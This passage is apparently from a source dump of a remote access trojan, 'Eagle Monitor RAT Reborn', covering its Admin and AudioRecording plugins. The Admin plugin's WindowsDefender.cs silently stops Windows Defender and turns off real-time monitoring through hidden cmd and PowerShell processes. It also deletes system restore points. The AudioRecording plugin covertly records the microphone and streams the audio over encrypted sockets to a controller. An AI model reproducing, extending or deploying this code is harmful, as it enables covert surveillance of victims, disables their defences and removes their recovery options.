{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(NestedProjects) = preSolution {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {08BF3C47-16A4-4D13-9A5B-3130F29CC180} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {D317BA4E-5818-4FC4-AA4E-EEA824317759} = {AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF} {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {B06314F2-338E-4E66-ACAA-A107A777A7B5} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {5389698F-E221-466D-8682-8F289C44F1DD} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {57239258-19E3-4B07-854C-8B0A3221C45A} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {0607E970-CC93-4A2A-83CA-53B9D537C96E} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {DCD28797-E01E-48F7-942C-6E01DF1DD9E9} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {EAEC4642-636D-4312-8903-D70157A8E91C} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {773A4D23-189D-4353-BF37-515591E16F5A} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {D60C7327-79D4-4525-95D9-ADD6B55986A8} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {150CA92E-FD24-4518-8B7B-BBECB4CC7578} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} {417F720D-E20B-4EBD-BB31-FD3E4C630FAD} = {416B39F0-2EF5-42BB-AE33-092AF22ABD95} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {746CE693-E252-4E26-88E6-8C484C23D190} EndGlobalSection EndGlobal ================================================ FILE: Remote Access Tool/Plugins/Admin/Admin.csproj ================================================  Debug AnyCPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0} Library Properties Plugin Admin v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/Admin/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); if (Connected) { if (length != 0)//TODO : LOGS { //MessageBox.Show("Data sent ! + length = " + length.ToString()); } else { //MessageBox.Show("Error while sending data + length =" + length.ToString()); } } this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/DeleteRestorePoint.cs ================================================  /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class DeleteRestorePoint { internal static bool DeleteARestorePoint(int sequenceNumber) { if (!Utils.IsAdmin()) return false; uint result = Imports.SRRemoveRestorePoint(sequenceNumber); if(result == Imports.ERROR_SUCCESS) return true; else return false; } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Admin/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Admin/GetRestorePoints.cs ================================================ using PacketLib.Packet; using System.Collections.Generic; using System.Management; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class GetRestorePoints { internal static List GetAllRestorePoints() { if (!Utils.IsAdmin()) return null; ManagementClass objClass = new ManagementClass("\\\\.\\root\\default", "systemrestore", new System.Management.ObjectGetOptions()); ManagementObjectCollection objCol = objClass.GetInstances(); List restorepoints = new List(); foreach (ManagementObject objItem in objCol) { restorepoints.Add(new RestorePoint { index = (uint)objItem["sequencenumber"], description = objItem["description"].ToString(), type = (RestorePoint.RestorePointType)((uint)objItem["restorepointtype"]), creationTime = objItem["creationtime"].ToString() }); } return restorepoints; } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/Imports.cs ================================================ using System.Runtime.InteropServices; namespace Plugin { internal class Imports { #region "srclient" private const string srclient = "srclient.dll"; internal const uint ERROR_SUCCESS = 0x0; [DllImport(srclient)] public static extern uint SRRemoveRestorePoint(int index); #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Admin/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.UAC_GET_RESTORE_POINT: RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, restorePointPacket); break; case PacketType.UAC_DELETE_RESTORE_POINT: DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, deleteRestorePoint); break; default: return; } Miscellaneous.CleanMemory(); } private static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Admin")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Admin")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("b4600d81-f6e7-4f97-b0d1-7029eeeed5f0")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Admin/Utils.cs ================================================ using System.Security.Principal; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Utils { internal static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/WindowsDefender.cs ================================================ using System.Diagnostics; using System.Globalization; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ //https://www.itechtics.com/enable-disable-windows-defender/ namespace Plugin { internal class WindowsDefender { internal static void Stop() { if (!Utils.IsAdmin()) return; //sc stop WinDefend //Set-MpPreference -DisableRealtimeMonitoring $true Process cmd = new Process(); cmd.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage); cmd.StartInfo.FileName = "cmd.exe"; cmd.StartInfo.RedirectStandardInput = true; cmd.StartInfo.RedirectStandardOutput = true; cmd.StartInfo.CreateNoWindow = true; cmd.StartInfo.UseShellExecute = false; cmd.Start(); cmd.StandardInput.WriteLine("sc stop WinDefend"); cmd.StandardInput.Flush(); cmd.StandardInput.Close(); cmd.WaitForExit(); Process powershell = new Process(); powershell.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage); powershell.StartInfo.FileName = "powershell.exe"; powershell.StartInfo.RedirectStandardInput = true; powershell.StartInfo.RedirectStandardOutput = true; powershell.StartInfo.CreateNoWindow = true; powershell.StartInfo.UseShellExecute = false; powershell.Start(); powershell.StandardInput.WriteLine("Set-MpPreference -DisableRealtimeMonitoring $true"); powershell.StandardInput.Flush(); powershell.StandardInput.Close(); powershell.WaitForExit(); } } } ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache ================================================ 4ee5c2280743eda022ac97128be5c0eb59bb9ef2 ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Admin.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Admin\obj\Release\Admin.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Admin\obj\Release\Admin.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Admin.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.dll C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Admin.dll C:\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Admin.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Admin.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Admin.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Admin\obj\Release\Admin.dll ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Admin/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/AudioRecording.csproj ================================================  Debug AnyCPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11} Library Properties Plugin AudioRecording v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll ..\..\Eagle Monitor RAT Reborn\DLLs\NAudio.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } public delegate bool ConnectAsync(); private delegate PacketType SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public ClientHandler(Host host, string key, string baseIp, string HWID) : base() { this.hasToExit = false; this.host = host; this.key = key; this.baseIp = baseIp; this.HWID = HWID; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { return; } else if (!Connected) { ConnectStart(); } else { Receive(); if (Launch.audioCapture == true) { Helpers.StartCaptureAsync(); } } } public void Receive() { if (hasToExit) return; if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { try { return BufferPacket.DeserializePacket(this.key); } catch (Exception) { return null; } } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); if (packet != null) ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.AUDIO_RECORD_ON: Launch.remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet; break; case PacketType.AUDIO_RECORD_OFF: hasToExit = true; Launch.audioCapture = false; Helpers.StopStreamAudio(); //this.Dispose(); break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private PacketType SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000)//1mb { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } } catch (Exception) { Connected = false; } } return data.PacketType; } private void SendDataCompleted(IAsyncResult ar) { PacketType packetType = sendDataAsync.EndInvoke(ar); if (Connected) { if (packetType == PacketType.AUDIO_GET_DEVICES || packetType == PacketType.AUDIO_RECORD_OFF) this.Dispose(); } } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/GetDevices.cs ================================================ using NAudio.Wave; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class GetDevices { internal static List GetAudioDevices() { List devices = new List(); for (int i = 0; i < WaveIn.DeviceCount; i++) { WaveInCapabilities deviceInfo = WaveIn.GetCapabilities(i); devices.Add(deviceInfo.ProductName); } return devices; } } } ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/Helpers.cs ================================================ using NAudio.Wave; using System; using PacketLib.Packet; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class Helpers { static Helpers() { captureAsync = new CaptureAsync(Capture); } private static WaveInEvent inputDevice; internal delegate void CaptureAsync(); internal static CaptureAsync captureAsync; internal static void StartCaptureAsync() { captureAsync.BeginInvoke(new AsyncCallback(EndCaptureAsync), null); } internal static void Capture() { inputDevice = new WaveInEvent(); inputDevice.WaveFormat = new WaveFormat(44100, 1); inputDevice.DeviceNumber = Launch.remoteAudioCapturePacket.index; inputDevice.DataAvailable += WaveDataAvailable; inputDevice.RecordingStopped += WaveStop; inputDevice.StartRecording(); } private static void WaveDataAvailable(object sender, WaveInEventArgs e) { try { if (Launch.audioCapture) { RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(e.Buffer, e.BytesRecorded) { BaseIp = Launch.clientHandler.baseIp, HWID = Launch.clientHandler.HWID }; Launch.clientHandler.SendPacket(remoteAudioCapturePacket); } else { return; } } catch (Exception) { return; } } private static void WaveStop(object sender, StoppedEventArgs e) { return; } private static void EndCaptureAsync(IAsyncResult ar) { captureAsync.EndInvoke(ar); } internal static void StopStreamAudio() { inputDevice.StopRecording(); inputDevice.DataAvailable -= null; inputDevice.RecordingStopped -= null; inputDevice?.Dispose(); Launch.clientHandler.Dispose(); } } } ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; internal static bool audioCapture; internal static RemoteAudioCapturePacket remoteAudioCapturePacket; public static void Main(LoadingAPI loadingAPI) { audioCapture = false; switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.AUDIO_GET_DEVICES: ClientHandler clientHandlerGetAudioDevices = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandlerGetAudioDevices.ConnectStart(); RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket(GetDevices.GetAudioDevices(), loadingAPI.BaseIp, loadingAPI.HWID); while (!clientHandlerGetAudioDevices.Connected) Thread.Sleep(125); clientHandlerGetAudioDevices.SendPacket(remoteAudioPacket); break; case PacketType.AUDIO_RECORD_ON: audioCapture = true; remoteAudioCapturePacket = (RemoteAudioCapturePacket)loadingAPI.CurrentPacket; clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandler.ConnectStart(); break; default: return; } } } } ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("AudioRecording")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("AudioRecording")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("37fcc79c-bc7c-4481-8e5b-9c0ce4496d11")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache ================================================ d2c9222f4c0e6fcd2ddadb30cdd6258ada8fec3b ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\AudioRecording.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\AudioRecording.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache 